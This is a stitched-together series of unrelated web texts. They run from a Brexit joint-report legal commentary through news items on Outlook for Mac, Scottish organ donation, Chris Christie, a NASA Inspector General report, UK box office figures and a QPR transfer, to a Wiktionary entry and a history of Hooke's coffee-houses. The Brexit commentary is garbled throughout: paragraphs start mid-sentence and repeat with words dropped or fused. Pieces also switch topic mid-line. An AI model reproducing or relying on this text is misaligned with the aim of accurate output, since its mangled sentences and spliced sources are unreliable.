Next, the joint report refers to the importance of maintaining North-South cooperation on the island of Ireland, which is linked to cooperation within the EU framework in a number of areas. Then comes the crucial paragraph 49. The UK ‘remains committed’ to North-South cooperation and its ‘guarantee’ of avoiding a hard border, and:
Any future arrangements must be compatible with these overarching requirements. The United Kingdom’s intention is to achieve these objectives through the overall EU-UK relationship. Should this not be possible, the United Kingdom will propose specific solutions to address the unique circumstances of the island of Ireland. In the absence of agreed solutions, the United Kingdom will maintain full alignment with those rules of the Internal Market or the Customs Union which, now or in the future, support North-South cooperation, the all-island economy and the protection of the 1998 Agreement.
But this reassurance to Ireland is then followed by a reassurance to the DUP: the UK will not create new regulatory barriers between Northern Ireland and the rest of the UK, unless Northern Ireland bodies consent to this.
The joint report goes on to address related issues. It recognises that Irish citizenship – and therefore EU citizenship – will still be held by many in Northern Ireland, as a consequence of Irish citizenship law. Human rights and equality law shall continue to be protected – including no diminution of equality rights as protected by EU discrimination law. The Common Travel Area for persons can continue to apply. Indeed the UK’s position paper on Northern Ireland notes its intention not to apply checks on persons crossing the land border with Ireland, but rather to ensure migration control via checks in country instead, via workplaces, banks, universities and landlords (for instance), as is currently the case for non-EU citizens. Finally, the funding programmes relating to the peace process will continue, and their future application will be ‘examined favourably’. In fact, the Commission paper commits to propose to continue these programmes in the next EU multi-annual funding cycle (a proposal is due in May 2018).
leaving the internal market and customs union. (The EU27 guidelines on the transitional period note this again). The key issue in this part of the joint report is the means to avoid a hard border and continue North-South cooperation more broadly. Some interpret paragraph 49 as a commitment from the UK implicitly to stay part of the EU’s internal market and customs union – but this is hard to reconcile with the paragraph which explicitly notes that the UK isthe internal market and customs union. (The EU27 guidelines on the transitional period note this again).
those rules’ in the internal market or customs union which support North-South cooperation et al. If the intention is to commit to staying in the entire customs union and internal market, why refer only to some rules in this context? Read closely, the obligation of ‘full alignment’ only applies if the commitments on ‘no hard border’ and North-South cooperation cannot be achieved via means of the overall EU/UK agreement, or by a specific solution. Even then it is a commitment to align with ‘’ in the internal market or customs union which support North-South cooperation et al. If the intention is to commit to staying in thecustoms union and internal market, why refer only torules in this context?
The reality is that this form of words is a fudge, intended to serve as a vague compromise that would be enough to get the nod for ‘sufficient progress’ to move to the next phase of talks. There is far less concrete detail in the ‘Irish border’ section of the joint report than in the sections on citizens’ rights and the financial settlement. It remains to be seen whether the two sides are content to leave this point ambiguous for now, given that talks on the future trade relationship have yet to start and a ‘status quo’ transitional period would defer the necessity to decide the issue definitively for awhile.
not concern all aspects of the internal market, given that checks on persons are referred to separately in the joint report and issues concerning regulation of services or establishment have little or nothing to do with checks at land borders. (It’s worth noting that the issues on which Jeremy Corbyn’s Labour leadership would most like to diverge from single market rules – competition, state aid, regulation of public services – do not have much to do with land border checks either). If they do intend to address the issue in detail at an earlier stage (as the wording of the joint report suggests), it will be necessary to address how much paragraph 49 merely refers to border controls, and how much it refers to broader issues of North-South cooperation and the all-island economy. Border controls doconcern all aspects of the internal market, given that checks on persons are referred to separately in the joint report and issues concerning regulation of services or establishment have little or nothing to do with checks at land borders. (It’s worth noting that the issues on which Jeremy Corbyn’s Labour leadership would most like to diverge from single market rules – competition, state aid, regulation of public services – do not have much to do with land border checks either).
Specifically on land border checks, the UK’s Northern Ireland paper suggested that trade and regulatory rules could differ somewhat but a hard border could still be avoided, by means of new high-tech systems keeping track of trade remotely. Two such methods were proposed (the ‘highly streamlined customs arrangement’ and the ‘new customs partnership’), but there was little detail on either. (See now the discussion paper on the planned Customs Bill).
On the other hand, ensuring regulatory alignment regarding North-South cooperation and the all-island economy would encompass a broader proportion of the internal market, although not necessarily all of it. On either interpretation this leads to the question of whether the EU27 would accept a solution entailing participation in only some EU rules, not all of them. While the EU27 side has said it would not accept ‘cherry-picking’ of the internal market rules by the UK, it has also said that it will contemplate a ‘unique’ solution for Ireland in light of its special circumstances. There is as much tension between those two positions as there is in the UK’s positions that it will simultaneously avoid a hard border, keep Northern Ireland in the UK internal market, and diverge from EU regulations. The UK has often been rightly criticised for a ‘have your cake and eat it’ Brexit strategy; but there appears to be some magical munching on the EU27 side too.
Financial settlement
would be paying anyway if it remained an EU Member State; so it’s misleading to suggest it’s an extra fee that has to be paid because of Brexit. There isn’t enough space on British roads to accommodate another false claim about the UK’s financial contributions to the EU. However, the size of the financial settlement further undercuts those earlier false claims about how much the UK stood to save from Brexit. EU budgetary law is the type of law only an accountant could love. Nevertheless, it’s necessary to look at the details of the deal on this issue, since the principle of paying anything to the EU after Brexit is bitterly resented by some. Some general points: the EU27 side was not simply asking for a lump sum (as some claimed), but for a detailed list of commitments relating to specific amounts that it believed were payable as an ongoing consequence of the UK’s membership of the EU prior to Brexit day. But also it should be noted that the financial settlement represents money the UKif it remained an EU Member State; so it’s misleading to suggest it’s anthat has to be paid because of Brexit. There isn’t enough space on British roads to accommodate another false claim about the UK’s financial contributions to the EU. However, the size of the financial settlement further undercuts those earlier false claims about how much the UK stood to save from Brexit.
components as to what is owed; principles for calculating the value of the settlement; arrangements for the UK to continue being part of the current EU budget until its normal end in 2020; and arrangements for the UK’s role in other EU spending. Some points are left to the second phase of talks (paras 60, 67c, 70, 72, 80 and 85) or, in effect, to the future relationship talks (paras 66, 73). The starting point is that the two sides have agreed a ‘methodology’ for the financial settlement, rather than an exact sum. It contains four elements: a list ofas to what is owed;of the settlement; arrangements for the UK to continue being part of theuntil its normal end in 2020; and arrangements for the UK’s role in. Some points are left to the second phase of talks (paras 60, 67c, 70, 72, 80 and 85) or, in effect, to the future relationship talks (paras 66, 73).
Components of the settlement
The UK agrees to stay a participant in the current EU budget until the end of 2020, despite leaving the EU in March 2019. While the EU27 side sees this as an outstanding obligation, the UK side sees it as an aspect of the post-Brexit transition period, as proposed in the Prime Minister’s Florence speech. In principle, I agree with the UK’s legal argument here; in practice, it’s a distinction without a difference.
Notably, the joint report says that changes to the EU’s basic laws on spending or revenue adopted after Brexit day which affect the UK will not apply to it. This protects the UK against its budget rebate being abolished or curtailed, or having to pay a share of any (hypothetical) increased EU spending, in the absence of its veto. It’s expressly a ‘derogation’ from the rule (later proposed in the EU27 guidelines) that the UK would be bound by new EU laws adopted in the transition period. Conversely, it’s necessarily implicit that the UK would be bound by the annual EU budgets for the whole of 2019 and also 2020 (except for any parts of those annual budgets affected by changes in the basic budget laws), and any changes to the EU’s Financial Regulations (which set out the technicalities of the EU spending process in more detail, but don’t determine the actual amounts spent).
The UK has agreed to pay its share of funding commitments that the EU promises before the end of the budget cycle in 2020, but does not actually fund until later. Known by the unlovely French acronym ‘RAL’, this is probably the biggest chunk of the financial settlement. There is a detailed agreement on how to work out the UK share of EU liabilities in general.
Principles for calculating the value of the settlement
This part of the joint report includes details of how to calculate the UK’s share of EU spending. It includes a requirement that UK contributions be paid in euro – so the UK will pay extra due to the drop in the value of the pound following the Brexit vote and the decision to leave the single market.
Current EU budget
It’s made clear in the joint report that the UK will fully benefit from EU spending up until the end of the 2020 budget cycle. This will mean, for instance, that EU regional funds, agricultural subsidies and research spending will be spent in the UK until the end of 2020. The UK states a wish to continue participating in some EU programmes after Brexit – but this is an issue for negotiations on the future relationship.
Other EU spending
The UK has agreed to guarantee its ‘callable capital’ in the European Investment Bank, and there’s a schedule to return the UK’s capital in the Bank over twelve years (at the rate of €300 million/year). Again, the UK wants a continuing relationship, but that’s an issue left for future talks. The UK’s capital in the European Central Bank will also be returned; the details will be agreed by the Bank.
The UK will continue participating in EU off-budget spending relating to Turkey and Africa (as regards migration and refugees) and in the European Development Fund, the aid programme for African, Caribbean and Pacific countries. Presumably this spending, while it lasts, will still be considered part of the UK’s commitment to spend 0.7% of GDP on international aid. That means there’s no money here to be saved as such – although in the absence of these commitments, the UK could, if it wished, have spent that aid money differently. The joint report includes an agreement to discuss ‘governance arrangements’ to take account of the off-budget status of this fund, presumably retaining the UK’s decision-making role here whereas it will lose its representation in EU institutions.
Finally there’s a recognition of the UK’s intention to discuss reducing the withdrawal costs of the EU agencies leaving London. It does seem odd that these agencies would not be able to cut those costs by subletting their office space to other tenants.
‘Winding up’ rules
These are the least high-profile of the issues in the joint report, but are important for the nitty-gritty of relations between the UK and the EU. Anything agreed on this issue may turn out to be irrelevant, at least for now, if the substantive law of UK/EU relations remains the same during the transitional period (as the EU27 proposes). Indeed, it may turn out to be irrelevant forever, to the extent that the UK and EU agree to keep applying current rules even after the transitional period: but it’s likely that a big chunk of current rules will indeed change sooner or later.
On these issues, the joint report (paras 87-95) notes that ‘further discussion’ is required on some issues in the second phase. The Commission paper notes that there has been no discussion yet of EU27 papers on issues relating to intellectual property law, customs, public procurement and data protection. However, there are some agreed principles on winding up UK participation in Euratom, the atomic energy body (discussed further here ), although the Commission paper notes that some issues have not yet been resolved. Some points have been agreed on goods placed on the market before Brexit day, although the Commission paper says there is no agreement yet on the definition of ‘placing on the market’ or on regulatory competence.
As for civil law cooperation (discussed further here ), the two sides agree to continue applying current conflict of laws rules where the contract was signed, or the damage occurred, before Brexit Day. Current rules on jurisdiction of courts will apply where proceedings started before Brexit Day. But there is no full agreement yet on the details of mutual recognition of civil judgments or decisions: a judgment handed down before Brexit Day will be recognised, but the two sides have not yet agreed whether a case pending on Brexit Day but decided afterwards will be. There is disagreement on what happens if a ‘choice of court’ rule is triggered after Brexit Day, but civil cooperation proceedings pending on Brexit Day (for instance, the service of documents, or a request for evidence) will be completed.
As for criminal law, the two sides have agreed that pending procedures will be completed, but have not yet agreed on the date for a cut-off. Procedural rights for suspects will be guaranteed, as regards the legislation which the UK has opted into. (For more on criminal law cooperation after Brexit, see discussion here ).
bind the UK, given that the ECJ insists that its judgments must always be binding). On the other hand, as the Commission report notes, the two sides still disagree on what happens to cases concerning EU law pending in the UK courts on Brexit Day (ie could they still be sent to the ECJ for a decision?). On issues specific to the EU institutions, the UK has accepted the EU27 position that where the ECJ has been seized of cases relating to the UK before Brexit Day, it will remain competent to give a judgment after Brexit Day. (Presumably it will be clarified that such a judgment will stillthe UK, given that the ECJ insists that its judgments must always be binding). On the other hand, as the Commission report notes, the two sides still disagree on what happens to cases concerning EU law pending in the UK courts on Brexit Day (ie could they still be sent to the ECJ for a decision?).
Also there is no agreement yet on what to do with administrative proceedings pending before EU institutions on Brexit Day, such as competition and state aid processes. But there is agreement on issues relating to immunities, professional secrecy and classified information.
There is also no agreement yet on ‘governance issues’, notably the role of a Joint Committee and the dispute settlement process, including as regard sthe role of the ECJ in such a process (note this is a separate question from the role of the ECJ as regards citizens’ rights, which has been agreed).
Conclusions
Hard core Brexiteers once insisted that the UK could quickly obtain a short, simple trade agreement from the EU, with the EU capitulating immediately to the UK’s demands. The length and complexity of the Brexit talks to date – before trade talks have even begun – shows the falsehood of these assertions.
So do the details of the agreement to date. If the UK ‘holds all the cards in negotiations’, why did it agree to a financial settlement in the tens of billions? If the UK/Ireland border could simply remain unaffected by the Brexit process, why was there a need for such convoluted language on this issue – with many details still to be worked out? If the citizens’ rights issues could be settled by a simple exchange of letters, why has the UK agreed to the continued application of key aspects of EU law to EU27 citizens in the UK?
It seems evident that the UK/Ireland relationship will continue to remain a central issue not just as regards the withdrawal agreement, but also the UK/EU future relationship. The ironies pile up here. First, while the UK government tried to use discussions of Irish border issues to bring forward talks on the future EU/UK trade relationship, the EU27’s willingness to do just that then exposed the lack of agreement within the UK government (and between the government and the DUP) as to exactly what the UK wants from that future relationship.
and its distinct status as a part of the UK closely linked to the Republic of Ireland. Perhaps this is to be expected from the influence of the Democratic Unionist Party, which sees no contradiction in simultaneously insisting on Northern Ireland’s uniformity with the rest of the UK and on the need for lower taxes, more spending and different laws on same-sex marriage and abortion there than in the rest of the UK. Secondly, the joint report treats Northern Ireland as Schrodinger’s province: simultaneously reaffirming its identity as a uniform part of the UKits distinct status as a part of the UK closely linked to the Republic of Ireland. Perhaps this is to be expected from the influence of the Democratic Unionist Party, which sees no contradiction in simultaneously insisting on Northern Ireland’s uniformity with the rest of the UKon the need for lower taxes, more spending and different laws on same-sex marriage and abortion there than in the rest of the UK.
Thirdly, the huge overlap between hard core Brexiteers and hard core unionists contains inherent contradictions. Because of the Good Friday Agreement, retaining a close link between Northern Ireland and the rest of the UK necessarily means retaining a close link between the entire UK and Ireland – and therefore with the rest of the EU. Brexiteers are keen to enhance links with the USA and the Commonwealth; but Ireland was not the ex-colony they were looking for.
non-member of the EU. Overall, agreement on the first phase of Brexit talks means that ‘no deal’ in the talks is somewhat less likely – though this might be mirrored by the Remain option being less likely too, if it means that leaving the EU produces only a gradual economic impact, rather than a huge shock. Coupled with the plans for a transitional period which mostly or entirely retains the substantive status quo of EU membership, the joint report envisages a process in which the UK moves gradually from being a semi-detached member of the EU to a semi-detached-member of the EU.
all the magical thinking which Brexiteers have indulged in. But its willingness to compromise on some difficult issues does suggest it recognises that ‘no deal’ is a bad idea. It has also recognised that a transition is necessary, that a financial settlement is inevitable, and (tentatively) that Brexit leprechauns will not solve Irish border issues. The move to the next phase of Brexit talks was a bad day for disaster capitalists and fantasists. But while the sky will be clearer without flocks of flying pigs and unicorns, it does mean that everyone on the ground will now have to listen to the same endless moaning from hard Brexiteers which they have long accused Remainers of. The UK government has yet to resile fromthe magical thinking which Brexiteers have indulged in. But its willingness to compromise on some difficult issues does suggest it recognises that ‘no deal’ is a bad idea. It has also recognised that a transition is necessary, that a financial settlement is inevitable, and (tentatively) that Brexit leprechauns will not solve Irish border issues. The move to the next phase of Brexit talks was a bad day for disaster capitalists and fantasists. But while the sky will be clearer without flocks of flying pigs and unicorns, it does mean that everyone on the ground will now have to listen to the same endless moaning from hard Brexiteers which they have long accused Remainers of.
Barnard & Peers: chapter 27We’ve seen leaks of a new Office for Mac 2015 suite circulate, but the new version of Outlook for Mac is already here, at least for Office 365 subscribers. The overhauled email client includes a new look and feel, as well as search that extends to archived mail (whether stored online or on corporate servers), better all around performance, push email support and more. Microsoft also took this opportunity to make its Word, PowerPoint, Excel and OneNote for Mac updates official, announcing public beta availability beginning early next year, with a general consumer launch in the second half of 2015.
The new Office apps for Mac will be available to Office 365 subscribers with no additional cost as part of their subscription, once released, while the company also plans to launch a perpetual license for a one-off buy at the same time as Office for Mac becomes available as final shipping software.
The new Outlook has a redesign that makes it look a lot more like its companion apps on other platforms, including Windows, and the web on both desktop and mobile. Using Outlook on a Mac is still mostly inconceivable to me, but then again, I rarely have to deal with a corporate email environment and unlike the bulk of large enterprises out there, we run a mostly Mac shop.
Microsoft’s continued commitment to Mac users is a good thing overall, since it means more platform choice for those who have need of Office software. The company seems even more committed to supporting customers beyond the Windows ecosystem than ever, thanks to the release of surprisingly impressive Office mobile apps for iPad earlier this year. Microsoft says the reason its Mac software is lagging behind its usual update schedule relative to the Windows release this time around is because it chose to focus on those mobile apps mentioned above first this time around.More than two million Scots are now on the organ donation register - but many more are still needed.
Record numbers of Scots are willing to donate their organs to save lives with more than two million now signed up.
Official figures show that the number of people on the NHS Organ Donor Register in Scotland has exceeded two million for the first time, with 2,025,400 people on the register on March 31 this year. That is equal to around 40% of the population.
But the government warns that while the record high is a great achievement, even more donors are needed to help save the 600 people across Scotland still waiting for a life-saving transplant.
Three people in the UK die every day because they don't get the organ they need in time.
New dad David Speers, who is waiting for a kidney transplant, is calling for more people to join the register.
Mr Speers, 34, who works in the oil and gas industry in Aberdeen, was told he has chronic kidney failure in 2009. He has been on the transplant list since June last year.
He said: "I was at that point in life where I was doing all the adult things you do: getting married, getting a mortgage, life insurance and looking forward to starting a family.
"It all seemed routine but fortunately the doctor doing my medical picked up signs of excessive blood and protein in my urine and referred me to a consultant who, after doing a biopsy, told me I had kidney failure.
"I count myself lucky that it was diagnosed when it was. I had no symptoms and was always fit and healthy.
"My story is not unique or special. I am just a normal guy with a positive outlook on life, a loving wife and daughter, while also waiting on a life-changing transplant.
"There are so many people waiting on transplants and coping with a lot more than me. If from reading this, just one extra person joins the NHS Organ Donor Register then I have achieved something.
"Please join the register now. You can text or go online. It's that easy and you could help save and change lives after you're gone."
For more information on organ donation, visit the STV Health Centre, brought to you by NHS inform.GREEN BAY, WI - JANUARY 11: New Jersey Governor Chris Christie and Dallas Cowboys owner Jerry Jones talk prior to the 2015 NFC Divisional Playoff game between the Dallas Cowboys and the Green Bay Packers at Lambeau Field on January 11, 2015 in Green Bay, Wisconsin. (Photo by Mike McGinnis/Getty Images)
PHILADELPHIA (CBS) — Chris Christie is back at it.
The New Jersey Governor has never been shy about expressing his fandom for the Dallas Cowboys and while co-hosting with former WIP employee Craig Carton on WFAN’s Boomer And Carton Show, Christie ripped Eagles fans.
Related: NJ Governor Chris Christie Is A Cowboys Fan
“I understand why people are interested if you are a public figure, as to who you root for,” Christie said on WFAN on Wednesday. “They’re interested. But the hostility, I will tell you that I take for being a Cowboys fan — and this is what I say to Giants fans all the time, and Eagles fans. Now Eagles fans I understand it from a little more because the Eagles do suck and they’ve sucked for a long time. And their fans are generally angry, awful people.”
Related: Wing Bowl Exclusive: Cataldi Releases Footage Of Christie Falling In-Studio
“I agree,” Carton responded.
Christie told the 94WIP Morning Show in 2014 that Eagles fans were yelling “unspeakable things at me,” when Christie attended a Cowboys-Eagles game in Jerry Jones’ box at Lincoln Financial Field.
Related: Governor Christie On 94WIP Morning Show: ‘Eagles Fans Were Yelling Unspeakable Things At Me’
“If they want to take some anger out at me, I’m all—I have no problem with it at all,” Christie said of Eagles fans on 94WIP in 2014. “They’re passionate, wild fans and they wanna get angry with me, that’s OK. But the one thing they can’t say, is that I don’t tell them the truth. And the truth is, I’m a Cowboys fan. I’ve said it since I’ve ran for Governor in ’09, never hid it from anybody, and so, I don’t understand why they’re angry about me being happy about my |
Affairs was, in fact, drafted, sent, and received by others who were on the same distribution list as Messrs. Acosta and Mould. Further, a forensic examination of electronic data obtained from Mr. Acosta’s NASA-issued computer revealed that the e-mail had been successfully delivered to Mr. Acosta’s e-mail address and it had been saved to his hard drive as a normal function of e-mail retrieval from the server. The examination of available data further showed that he (or someone operating his equipment) had received and reviewed the e-mail on his Blackberry device, and then forwarded it to another Headquarters Office of Public Affairs staff member for advice, who, in turn, responded to him via e-mail correspondence.
Note that this means Acosta lied under oath to Congress. And so, while this report was not a criminal investigation, it may still have uncovered evidence of perjury.
And in case that’s not enough evidence for you, here’s yet more, in this case evidence that Mould and Acosta threw an underling under the bus to save themselves:
Of interest, the Agency’s position is that Mr. Deutsch was the Headquarters Office of Public Affairs’ representative who denied National Public Radio’s request to interview Dr. Hansen. To a degree, that is true. According to Mr. Deutsch, however, this denial was based on the direction given to him by his supervisor, Mr. Acosta, which we believe is credible. Mr. Acosta denies giving such direction and, indeed, NASA appears to have adopted the position that Mr. Deutsch (as a 24-year-old GS-9 in his first job in Government) acted independently when making the decision to deny National Public Radio’s request…. Particularly troublesome to us is that when the denial of the National Public Radio interview became controversial, Mr. Deutsch’s leadership distanced themselves from him on this issue by not taking responsibility for any actions taken in connection with the interview denial. Instead, Messrs. Mould and Acosta intimated that Mr. Deutsch had acted alone in denying the request from National Public Radio, when, in fact, Mr. Deutsch was simply carrying out their orders or intent.
While the report found that there had been manipulations of Hansen’s access to the press, it did not find that there had been any such manipulations of his access to scientific journals, nor was there any such pattern within NASA at all:
In the course of our investigation, we neither received nor discovered any complaints or concerns regarding the operating procedures or implementation of those procedures used for NASA’s release of scientific and technical reports. Further, the NASA Office of Inspector General’s Office of Audits corroborated our observations in a recent audit, noted earlier, which found no evidence that the STI review process was used to inappropriately suppress the release of scientific data. Again, of the 287 authors surveyed at the four Field Centers reviewed, none indicated that they had personally experienced or knew of anyone else who had experienced actual or perceived suppression of their research. Further, a published review conducted by the Government Accountability Office estimated that 91 percent of NASA researchers believe that the Agency supports dissemination of research results through publications. (original emphasis)
And the report also found no evidence that there had been an attempt to suppress Hansen’s research via budget cuts:
We found no credible evidence that the Agency had used the budget as form of scientific suppression. While the overall budget for the Science Mission Directorate’s Earth Science Division declined, the decline was associated with the Agency’s decision to retire the Space Shuttle by 2010, complete the International Space Station, and transition to the next-generation space vehicle in furtherance of the President’s Vision for Space Exploration.
In addition, the Inspector General found no evidence that, although reports were provided to the White House Press Office in advance of publication, there was any White House “approval” of the press releases:
[O]ur investigation found no direct evidence that non-NASA officials serving within the Administration were editing/approving the release of climate change media products. We did, however, find evidence that the NASA Office of Public Affairs routinely notified Administration officials of newsworthy events and, in one case, appeared to be coordinating with Administration officials with respect to the timing of a climate-related press conference and news release…. [O]ur investigation found that at least one climate change news release, “Aura Sheds New Light on Pollution,†was intentionally delayed by NASA Headquarters Office of Public Affairs until after the election. We could not, however, substantiate other allegations of over “month long delays†in getting releases approved or released during the pre-election period.
So, where does this go now? The report is not intended to be the results of a criminal investigation, even though the investigation discovered possible criminal activity in at least one case (perjury before Congress) and possibly others. But the fact that Acosta is so pointedly identified as the primary player (with Mould as secondary) can’t do his two recent employers, first DC-based PR firm Qorvis Communications and now Chicago-based Boeing, any favors. There is still a stink of ego-driven “he said, he said” conflict here, but the preponderance of evidence points to the conclusion that the NASA Headquarters Office of Press Affairs did interfere with climate scientists, and especially James Hansen’s, access to teh press for a period of time. According to federal law, that’s certainly against regulations and may, or may not, be criminal.
Regardless, though, NASA’s Office of the Inspector General found that there was undue interference by political appointees on the public’s access to scientific information, and that alone will give yet more ammunition to those who continue to claim such interference has been widespread during the Presidency of Bush II. There is one piece of good news, though – the research and reporting of results in scientific journals was not distorted, largely because the NASA Headquarters Office of Press Affairs lacked the organizational authority to do so.
But we should make sure that, in other instances and organizations where the press office has authority over the science reporting, distortions have not occurred.
Other articles on this report:English [ edit ]
Etymology [ edit ]
From Medieval Latin anōdynos (“stilling or relieving pain”), from Ancient Greek ἀνώδυνος (anṓdunos, “free from pain”), from ἀν- (an-, “without”) + ὀδύνη (odúnē, “pain”).
Adjective sense “noncontentious” probably through French anodin (“harmless, trivial”), of same origin.
Pronunciation [ edit ]
Adjective [ edit ]
anodyne (comparative more anodyne, superlative most anodyne)
( pharmacology ) Capable of soothing or eliminating pain. 1847, Littell's Living Age, number 161, 12 June 1847, in Volume 13, page 483: Many a time has the vapor of ether been inhaled for the relief of oppressed lungs; many a time has the sought relief been thus obtained; and just so many times has the discovery of the wonderful anodyne properties of this gas, as affecting all bodily suffering, been brushed past and overlooked.
,, number 161, 12 June 1847, in Volume 13, page 483: 1910, Edward L. Keyes, Diseases of the Genito-Urinary Organs, page 211: The citrate is the most efficient as an alkali, but irritates some stomachs, the liquor the most anodyne, the acetate the most diuretic. ( figuratively ) Soothing or relaxing. Classical music is rather anodyne. ( by extension ) Noncontentious, blandly agreeable, unlikely to cause offence or debate. bland inoffensive noncontentious 2003, The Guardian, 20 May 2003: It all became so routine, so anodyne, so dull.
,, 20 May 2003: 2004, John Dickie, Cosa Nostra: A History Of The Sicilian Mafia, Hodder & Stoughton, →ISBN :, Hodder & Stoughton, What is less known about Cavalleria is that its story is the purest, most anodyne form of a myth about Sicily and the mafia, a myth that was something akin to the official ideology of the Sicilian mafia for nearly a century and a half.
2010, "Rattled", The Economist, 9 Dec 2010: States typically like to stick to anodyne messages, like saving wildflowers or animals. But every so often a controversy crops up.
Translations [ edit ]
Noun [ edit ]
anodyne (plural anodynes)
( pharmacology ) Any medicine or other agent that relieves pain. ( figuratively ) A source of relaxation or comfort. 1890, Oscar Wilde, The Picture of Dorian Gray, ch. VII: The air was heavy with the perfume of the flowers, and their beauty seemed to bring him an anodyne for his pain.
, Oscar Wilde,, ch. VII: 1929, Virginia Woolf, A Room of One's Own, page 79: So, with a sigh, because novels so often provide an anodyne and not an antidote, glide one into torpid slumbers instead of rousing one with a burning brand.
Translations [ edit ]
any medicine or other agent that relieves pain Bulgarian: болкоуспокояващо ( bolkouspokojavašto )
Catalan: analgèsic
Finnish: kipulääke (fi) French: analgésique (fr) m
Russian: болеутоля́ющее n ( boleutoljájuščeje ), анальге́тик (ru) m ( analʹgétik )
a source of relaxation or comfort Catalan: calmant (ca)
Finnish: lievitys (fi)
French: calmant (fr) m Russian: успокое́ние (ru) n ( uspokojénije )
Spanish: tranquilizante m
Derived terms [ edit ]
References [ edit ]
Anagrams [ edit ]
French [ edit ]
Pronunciation [ edit ]
Adjective [ edit ]
anodyne
Latin [ edit ]
Pronunciation [ edit ]
Adjective [ edit ]
anōdyneImage copyright Liam Daniel Image caption The Theory of Everything - biopic of Stephen Hawking - is credited with boosting the box office
The UK box office has seen a 10% rise in ticket sales in the first half of the year, compared to the same period in 2014.
Figures released by the British Film Institute (BFI) show there have been 83 million tickets sold so far this year.
The BFI added that the market share of UK films was 32% - up from 26.8% last year.
The figures include joint UK-US productions including The Avengers: Age of Ultron and The Theory of Everything.
But it also includes independent films such as the Shaun the Sheep Movie, which made £13.7m and Far From the Madding Crowd, starring Carey Mulligan, which made £6.1m.
It is the highest share for UK films since 2012, the BFI added.
Image copyright Studio Canal Image caption Aardman's Shaun The Sheep movie takes the character away from the farm-based setting of the hit TV series
A total of 358 films were released in cinemas in the UK and the Republic of Ireland in the first half of the year.
Together they grossed £591m, compared to £490m from 342 films over the same period last year.
The biggest earning film so far this year is Jurassic World, which has grossed more than £57m so far.
The Avengers: Age of Ultron which was made in the UK is in second place with £48m.
Amanda Nevill, CEO of the BFI, said the report "shows that UK audiences are continuing to flock to the cinemas, ensuring film continues to be a vibrant contributor to the economy.
"It is particularly exciting for the UK creative sector to see films made in the UK achieving a strong share of the UK box office market."
The box office should continue to be healthy over the next six months, with the likes of Star Wars: The Force Awakens and James Bond film Spectre boosting cinema attendance.
Films in production
The BFI report also includes details on how much is being spent on film production in the UK.
The first six months of the year has seen £594m spent on film production spread across 79 films.
Inward investment has accounted for £518m of that figure, across 21 movies.
Domestic UK films budgeted at £500,000 and above have contributed £56m, across 24 films.
Amanda Nevill called the figures "encouraging".
"At this stage of the year, the overall spend on film production is encouraging with a higher percentage of spend being made in the UK but with new productions in the pipeline and due to start filming in the coming months, the full year's statistics at year end will give us a fuller picture," she said.
Figures released also show that £279m has been spent so far this year on 30 high-end TV productions, including the final series of Downton Abbey, Churchill's Secret, The Dresser and the third series of Endeavour.On Thursday 30 December 1675, a startling proclamation was printed in the London Gazette:
Whereas it is most apparent, That the Multitude of Coffee-houses of late Years set up and kept within this Kingdom... and the great resort of Idle and Disaffected persons to them, have produced very evil and dangerous Effects, as well for that many Tradesmen and others do therein mispend much of their time, which might and probably would otherwise be employed in and about their lawful Callings and Affairs; but also, for that in such Houses, and by occasion of the meetings of such Persons therein, divers false, malitious and scandalous Reports are devised and spread abroad, to the Defamation of His Majesties Government, and to the Disturbance of the Peace and Quiet of the Realm; His Majesty hath thought it fit and necessary, That the said Coffee-houses be (for the future) Put down and Suppressed...
(read the whole proclamation on the London Gazette website)
There was a public uproar and he had to back down, but His Majesty Charles II did have a point. Anyone reading Hooke’s diary is under no illusions that a good deal of Hooke’s time that might otherwise have been spent doing who knows what, possibly one of his several lawful callings, was in fact employed in meeting friends at Garraway’s or Jonathan’s. Furthermore, every Restoration Londoner knew that the coffee-house was the place to go for false, malicious and scandalous reports (second only to the palace of Whitehall for really juicy gossip). Hooke probably didn’t go specifically for the scandal, although occasionally he ran across scandal in the course of a visit. He went to meet friends, talk to people, and read the latest news from home and abroad. Of course, the main topic of conversation on 30 December 1675 was the royal proclamation.
You could run into just about anyone at a coffee-house, from shoe-makers to courtiers. Hooke’s friends and associates had their own particular haunts – Hooke often visited Man’s with Sir Christopher Wren, and select Fellows of the Royal Society regularly adjourned to the Crown Tavern in Threadneedle Street after meetings. In the 1670s Hooke’s favored establishment was Garraway’s in Exchange Alley, run by Thomas Garraway; in the 1680s and 1690s he preferred Jonathan’s, kept by Jonathan Miles, again in Exchange Alley. Hooke sometimes visited Jonathan’s three times in a day, and usually met some of his particular friends there. He recorded such visits in a truncated fashion in his diary. Part of an entry for Thursday 17 January 1689 reads:
... at Jon Gof Lod Sp Wal: Hayn. Mev. Cur. Pag. of flood. Atlantis &c...
meaning ‘at Jonathans. [met] Godfrey, Lodwick, Spencer, Waller, Hains, Meverell, Currer, Paggin. [talk] of flood. Atlantis, &c’. The listing of names became almost compulsive for Hooke in the later part of his diary – this is a typical entry. On this occasion the talk turned to the Biblical flood and its consequences, something Hooke was particularly interested in at this time as part of his theorising about the history and formation of the earth. On other visits Hooke was more interested in reading the latest news printed in the London Gazette, or papers from Scotland, Ireland, Holland and Paris. It was at Jonathan’s that Hooke first learnt of the death of Queen Christina of Sweden (he noted this on Monday 18 March 1689, and again on Thursday 9 May, when the Paris Gazette apparently ran an obituary of the prominent monarch). Happenings closer to home were also discussed, including London mayoral elections and military affairs in Scotland and Ireland.
Just one contemporary drawing of the interior of a seventeenth-century coffee-house exists, now in the British Museum collections. (view it here) It’s just a watercolour sketch, but it gives a good impression of the tobacco pipes, coffee and conversation on offer – a convivial place to spend an evening with Hooke and his friends.
AdvertisementsBig spenders... still! QPR agree deal for £6.3m Colombian striker Zapata
QPR have agreed a deal that rises to £6.3m for Estudiantes’ Duvan Zapata.
The Colombia Under 20s striker is due in London on Monday but he will still need to gain a work permit before the deal can go through.
Big spending: Zapata of Estudiantes still needs a work permit before the deal can be confirmed
QPR will appeal on the grounds Zupata is a special talent.
Defender Anton Ferdinand, 28, has left QPR by mutual consent. He spent the second half of last season on loan at Bursaspor and is expected to join Antalyaspor on a free transfer.
QPR manager Harry Redknapp is also keen to offload Samba Diakite. Redknapp said: ‘Diakite wants to go. We won’t stand in his way. He’s had knee surgery and he’s not fit at the moment.’
Out: Ferdinand has left Loftus Road by mutual consentFERGUSON, Missouri — For a time, little more than a few inches of space separated a delicate line between peace and chaos.
